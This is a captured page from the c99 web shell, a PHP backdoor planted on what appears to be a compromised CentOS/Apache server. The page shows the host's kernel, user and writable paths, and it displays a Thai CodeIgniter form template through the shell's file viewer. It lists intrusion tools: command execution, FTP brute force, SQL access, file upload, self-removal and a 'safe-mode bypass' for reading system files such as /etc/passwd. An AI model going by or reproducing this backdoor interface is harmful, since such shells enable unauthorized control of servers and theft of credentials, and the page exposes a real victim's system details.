!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addPrefix_11.php (5.52 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$rowPf 
= (isset($qu_pf) && $qu_pf!=NULL) ? $qu_pf->row() : NULL;
?>
<table width="95%" align="center">
    <tr>
        <td><br><fieldset>
            <div align="center"><br><table width="100%" border="0">
                <tr>
                    <td align="center"><font size="3" color="<?php echo $font_color_err;?>"><b>ข้อมูลคำนำหน้าชื่อ</b></font></td>
                </tr>
                <tr>
                    <td align="right">
<?php
                    
echo anchor_popup($this->config->item("rg_folder")."basedata/pf_print""<img src=\"".base_url().$this->config->item("rg_print")."\" width=\"15\" height=\"14\" align=\"absmiddle\" border=\"0\" />");
?>
                    </td>
                </tr>
                <tr>
                    <td><?php echo form_open($this->config->item("rg_folder")."basedata/pf_insert_update");?><table width="60%" align="center">
                        <tr>
                            <td width="40%"><font size="2"><b>คำนำหน้าชื่อ (ไทย)</b></font></td>
                            <td width="60%"><input type="text" name="pfName" id="pfName" value="<?php echo (set_value('pfName')=="") ? $pfName set_value('pfName');?>" size="20" />
                            <font size="2" color="<?php echo $font_color_err;?>">*</font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td><font size="2"><b>คำนำหน้าชื่อ (อังกฤษ)</b></font></td>
                            <td><input type="text" name="pfNameE" id="pfNameE" value="<?php echo (set_value('pfNameE')=="") ? $pfNameE set_value('pfNameE');?>" size="20" />
                            <font size="2" color="<?php echo $font_color_err;?>">*</font></td>
                        </tr>
                        <tr>
                            <td><font size="2"><b>เพศ</b></font></td>
                            <td><select name="pfGender" >
                                    <option value="" >ไม่ระบุ</option>
                                    <option value="m" <?php echo ($pfGender == 'm') ? "selected=\"selected\"" $this->validation->set_select('pfGender','m');?>>ชาย</option>
                                    <option value="f" <?php echo ($pfGender == 'f') ? "selected=\"selected\"" $this->validation->set_select('pfGender','f');?>>หญิง</option>
                                </select>
                                <font size="2" color="<?php echo $font_color_err;?>">*</font>
                                <?php echo form_error("pfGender");?></td>
                        </tr>
                        <tr>
                            <td colspan="2" align="center"><br>
<?php
                            $lnk 
"<input type=\"submit\" name=\"add\" value=\"บันทึก\" />";
                            echo 
$lnk;
                            
//echo $oU->CRUD($lnk, 'C');
?>
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                            <input type="hidden" name="pfId" id="pfId" value="<?php echo (set_value('pfId')=="") ? $pfId set_value('pfId');?>" /></td>
                        </tr>
                    </table><?php echo form_close();?><br><br></td>
                </tr>
                <tr>
                    <td align="right"><?php echo form_open($this->config->item("rg_folder")."basedata/pf_search");?>
                    <font size="2"><b>คำนำหน้าชื่อ (ไทย)</b></font>
                    <input type="text" name="pfNameSearch" />
                    <input type="submit" name="search" value="ค้นหา" />
                    <?php echo form_close();?></td>
                </tr>
                <tr>
                    <td><table width="100%" border="0">
                        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                            <td width="10%" height="22" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ลำดับที่</b></font></td>
                            <td width="35%" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>คำนำหน้าชื่อ (ไทย)</b></font></td>
                            <td width="35%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>คำนำหน้าชื่อ (อังกฤษ)</b></font></td>
                            <td width="10%" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>แก้ไข</b></font></td>
                            <td width="10%" align="center"><font color="<?php echo $font_color_table;?>" size="2"><b>ลบ</b></font></td>
                        </tr>
<?php
                        
if($rs_pf->num_rows()) {
                            
$i 0;
                            foreach(
$rs_pf->result() as $row) {
                                if((
$i%2) == 0)
                                    echo 
"<tr>";
                                else
                                    echo 
"<tr bgcolor=\"".$tr_color_even."\">";
?>
                            <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                            <td><font size="2"><?php echo $row->pfName;?></font></td>
                            <td><font size="2"><?php echo $row->pfNameE;?></font></td>
                            <td align="center">
<?php
                            $lnk 
anchor($this->config->item("rg_folder")."basedata/pf_input/$row->pfId""<img src=\"".base_url().$this->config->item("rg_edit")."\" width=\"23\" height=\"19\" align=\"absmiddle\" border=\"0\" />");
                            echo 
$lnk;
                            
//echo $oU->CRUD($lnk, 'U');
?>
                            </td>
                            <td align="center">
<?php
                            $lnk 
anchor($this->config->item("rg_folder")."basedata/pf_delete/$row->pfId""<img src=\"".base_url().$this->config->item("rg_delete")."\" width=\"16\" height=\"19\" align=\"absmiddle\" border=\"0\" onClick=\"return confirmDelete()\" />");
                            echo 
$lnk;
                            
//echo $oU->CRUD($lnk, 'D');
?>
                            </td>
                        </tr>
<?php
                                $i
++;
                            }
                        }
                        else {
?>
                        <tr>
                            <td colspan="4" height="22" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td align="right"><font size="2">รวม <?php echo $rs_pf->num_rows();?> รายการ</font></td>
                </tr>
            </table></div>
        </fieldset><br><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0094 ]--